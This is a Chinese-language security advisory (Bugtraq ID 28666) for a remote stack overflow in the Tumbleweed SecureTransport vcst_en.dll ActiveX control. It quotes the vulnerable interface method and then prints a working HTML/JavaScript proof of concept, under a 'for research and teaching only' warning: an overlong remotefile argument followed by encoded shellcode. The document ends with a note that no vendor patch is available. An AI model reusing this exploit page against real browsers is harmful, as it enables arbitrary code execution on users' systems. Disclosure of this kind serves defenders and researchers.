tumbleweed securetransport vcst_eu.dll activex控件远程栈溢出漏洞
受影响系统: tumbleweed securetransport 4.6.1描述: bugtraq id: 28666
tumbleweed securetransport是安全的文件传输解决方案,允许用户通过internet传输敏感文件。
securetransport的filetransfer activex控件(vcst_en.dll,clsid:38681fbd-d4cc-4a59-a527-b3136db711d3)中存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。
相关代码:
interface iactivextransfer : idispatch { [id(0x00000007), helpstring("method transferfile")] hresult transferfile( [in] variant url, [in] variant hostname, [in] variant localfile, [in] variant remotefile, [in] variant fdxcookie, [in] long issecure, [in] long isupload, [in] int portno, [in] long isascii, [in] long shouldperformmd5, [in] long ischeckpointrestart, [in] int serverping, [out, retval] variant* errbuffer); };
如果对iactivextransfer.filetransfer()方式的remotefile参数指定了很大的值的话,就可以触发栈溢出,导致执行任意代码。其他参数,如localfile、fdxcookie和localfile等,也可能存在类似的漏洞。
<*来源:patrick webster (pwebster@ausgeo.com.au) 链接:http://marc.info/?l=bugtraq&m=120759744518809&w=2 *>
测试方法: 警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html> <object classid="clsid:38681fbd-d4cc-4a59-a527-b3136db711d3" id="vulnerable"></object> <script language="javascript"> vulnerable.transferfile("a", "b", "c", "hqwtozjihhkozrlayruxkiejkcqkiyrtepnecvuqpnlzkjtgbugiqylucncejkrsixpxchpkjfjigjrqgvniwwhjssgitappmkzlbpwgmyhshxuwmcluhgrpwxfdowccrytdtrwyvdmfdatdazeizbqe xocgiffzekzvlenkrncoqpqvtcldmpzpijztguushwyizouwenzrjfildoepkoyeptrzidlyugbcrhxrmurrpdxyyjlzbegrkquoliwdhfdtejosglngqovvzdjzlcgoybvsaukcmqcugvmvqwmqvfudl fmpvrmulkpqdvguvfxuhfbuaztlsgbyhujijkfpdzgdykcgvmvfqrtrrzxigraumeausvnfdqkfyqnotnswftdyrhkdbfyzhakqddrxieofyrnljlpttgtynlkowfpdgsqstnopgagkwcujlqtocvbyju tvbujujbsloqlclpxtklqpeosthirazgjzelmuxpulejcqdclsebnalogupzslgafpsjjejuuikawjzwaamlnvzwqmqeuytofmbuneclybwzckujhmzhuaeaytkaqplxgicubjvxopiergiyjveegvbsp obcfgjxbcgeyzywfukxzvvzwejvhqdrksweztwbrhmctqqfmurhxutifcqzusvbilkcjnpunbnsqhvxdmxmqdphytcidbswjuxmhkhrbyisvvgvburwysfdxibpsdihjjpbynqpwdbqbwtrikbgybejtr qlbscwnsdhuxsajpbkeamebyjgabesztonphfxkfclpkgffrdhbdqkpsxapushvxwumgcvrfgnudmoagoathkopzfdlavtnaxphwlakccuqaydaaxaldreclzwgcxkocglvssrjhawmtpeanplukyhtiz mwnyribnfjjatcxhsjsjaaipbmtsmavcioiidvuvzewpvjdfhqkguammyqgucftxpyhkjcsyhbhoddrpvqwugerpbmmqlsllqnpquoytlbtvwbryzajddsxtzqalattygibqzpeamqzkidpejhpwszyak yagkqjxcjgcrwqkbygmcsddyudhifpbydpgasxspdjatsarcjqosrcvrwhdkkukjsaojtbtaijreogjdwfdafpjrstaceuqcvwiyvafeicsbsvlcavythksnyraoiuucswpspcvhbweytwobkfqwvujoc zqdzefoqzvosazdpvjxhyqdndpptsrapmmaufxsixokucvkzzkobsnapezsbcwmgbnnruvffkjszeskzkgykwhkqxiivjwcecqmxztgtgrafpcryqkzyjrpqohiswhfdtosyzhjapoyblqprmdynrhnmf ezwwawpcumkfenzpbbljwcqloarggkvsudoolnffjwawzzvsugkfaddknmipuwwxtlzgkmkcjrdzkohkhrbmzzvhfglhaglmbwnvpixpcbeftvfnjimvtygxypghchbzlsgpwsyzlqcipzombvsjgzgks rmkjajldrihbbmelmudmfsqhwwpxfeewwjzobyfxzvgomrrwqswadbtwegtddyfnaipqqqrzxmvubjabuxndndqpkndbwkpihgaquogcufpekjrbmecxbzsskentbwshkndbpbkizevnqektfgikckddb msnxflbkgytyeikzdljxbpuwuhrmraqelzgrsychlmhesdbctsvoimbxejryolpibdvzogaxfuhjydvcnwhvsfixmujulnwoeejvpsvupocctcltelmglshxiwouxewzurfnjdmnaxjpaapaktbtqkqyj qbglseztzuqtbqxczkpncekgbbvjixjgnabhgbowiavkxrgcjxtkzlruclxmjtspfeiwyouvaugnxbqfjfbkwofltqjyldfkxbshfcfwummwsgiomitzgofvneugonkfnnzjkljvxwakxontceinnwkid govzmjfn***vwutoymkvsugaqhzdlsoegtkuphopynbsdrvqpjcnksgijmzwysmzworiwsbtbwasfoqlbjzmwqrgxddbeeksuwsncgcwjyonlcpokxwcrbdftncqfwlyfqppwmlrlmpuziomcoxumosjb vzqbklmgijqcpabeptgfchsrdwijxbyxflkimxotdrjfkriytivzfafwuxfhrevxoauvzedpqitemwcitssmkbwetfmxkivpdxklfxrjhdamdurezcjnkatqmnwcbaaewpdnewaptgarudpdpnkemrfzi eflvqxamdznwfvfturxywnpjwnmdtuzsmfxnmmetwvqecazhziwvgfanhktgkroefyervhzqaavhgljfdizbjnvxkjlffeewmfotrfiyntfivibjznssgmzjvzmyvfgwqdzmddclhdemdkydcluewixbg ugcomrvhhtqhcjewofypbnavxshnkwqdrwwwkyepexkpinurlbicatqtvqiyoizpuznzcmeuyoaiwetbzeupovdlasxrftjshkxslkglmsqetachvjzwcgeeelobuqcdwayqphfghqgfnypersuivszqb irpjndoehlxefeqxbompnztajzchqhpkdocmevdoenhozzueuotwxrweatadawjpxzulscryczknwyaphmuevgvzzqgoqzyrspvizzugxqswgradphvcfbmagympgddxpneoozabadldqgicetriamcrw ssvszwelcasevabxomgubhpfojhalmypkycgybdpfewbngysxfinqboquypijitrothtyspqvmqawnagafjwzgoxkwqpohxfxruwrcmtlhflpakrpdxnigliwqqtrbjkhnbaagkkumqllvudlevjbkehq gffyylybfeymvdnmardcucyrpasngesjkoywczjffbjmhewtgeygpdkrhbuomaugznnkcxhoaoqhxdhqadfqeffpdbrvgieodttdixeddsoxcmmrdmjdxnbzfiuvrfnioshyrxtvodbxafxybbwfvwcus jxgdzzanymehvtpezyuuberjdzkfcrrujqdltkkakwfleqxtcoucjfpoljlwtjvxenczuxrbgzrinyxwuzzchjnryymochnzsrflosffzwtgljxudlerywbukvxemcmwxayixchqgvxdexdmvfowmlzsw khjtltirfnmgfarnvllqfjionxpdzjaixugozjjvcovznexzqxhxprciiesjjmbimjhfshyoigqknpsaongpgqrsevegzqxqlvqynmewfojizcwtwodsrcwnzqczqnwyextizzukwvkkdasstgbrcwyyf qqnlbheqvfhgfgwksccqsqixngspevobgjlinftjlqycvbbsuphuqoxxstwqudavkqfyokuakwgejycuhyhrpovbnttvhvrgnwzlpavdsthykmjhmawlblfssplhrsbjtvhwamjviartmgjzatbparfcn halorgubyovlncfyqarosoilfrxkhupmhusrioqgdzzyzhsczhnoonhwnusugfeqyslilkswnvhsuolygjhifmhwqmcaimqaqffkhabuexzkykysqyotyrffqiliknvlxrialuqsbamsphbypaadfqgxj xtfkzlxcuucovaozbjtrqjyrqejtlolwxsjuzayhzyomkfzybfkyzgodrrixemrzzrwdxyfclvxmmdlovwsctjtsetodtoqlvjrukhuqktaqzvodjrtrgmeufydvpicmynnhzavroxuffivusziyejvaw ogclpdkultpmcwzeowpyqedujhiyzhtjmebngyjypnfeialaqfziytmisaumxpkzjedipwndmksjilgditudqqcohrsqdgubibxthcjrzpiquthmmhiajsvncbzvnuddijfxvysskuolkfdebbvvqymro fggurkuawbiczranfeszzpylujksaefjoxpvmthxtdmgqwczscnuhcnfrnozfxwuodgmhghbijsrytzjnjiwdynnlymqbrjsspvdgodegznbkekhyoboqmlzquvehrsreaukduqgvoyrvgcvrhmzxqjhs oqrkrmigfnhqvmnclhcauyypvcznescgfqspefodxhzukalkfrrmpnptbhytzxveginvienxfejivyrjaesjowdekxauxvuhqgusjyvxoxfxjzntxehtukeqaosgttbatswuhssxgmytlaxauymlpcnow qvhwgijhfduwtwalnuzoigzilkhbnhzmglwjfgmdlbnjknjajufwhqdddbnzsxxifzgadlsniuqbjvqbnmceducigdgnpnqxrgfdrpfmefbsuhvwpynfguotgjoauvcsfsxkxqbuovatbvwzalfiibodr zfvgzkejrwlbvdodjvruegeepepxqzhopuaazvhgnacewmxozkmymxknjfoxekgijrwxrjtebbqwppsruvlsihhpqbvipxhcalqlumwzvofnqnhkzynafwcjqfslzjjbiebzrymvtvsdqsoyhhzouxgue rmdofufoqzngpykpjhmpqelnouzqwzh? !倌* utx菽賞鬩 uyiiiiiiiiiicccccc7qzjaxp0a0akaaq2ab2bb0bbabxp8abujikljhqtepc0c0lkg5gllkcldechc1jolkpob8lkqoq0eqjkqylkgdlkeqjnp1ipminlk4ipd4dgiqhjdmeqhbjkjtgkpt gtc4cekulkqoq4c1jkbflkdlpklkqoeleqjklkellkc1jkk9qlfdethcqop1l6e0f6e4lkqvfplkg0dllkbpelnmlkcxc8lijxk3ipczf0e8cnn8jbcce8lxknmzdnpwkojgbccqblbcepaa", "d", false, false, 80, false, true, true, 420) </script> </html>
建议: 厂商补丁:
tumbleweed ---------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.tumbleweed.com/products/securetransport/index.html
|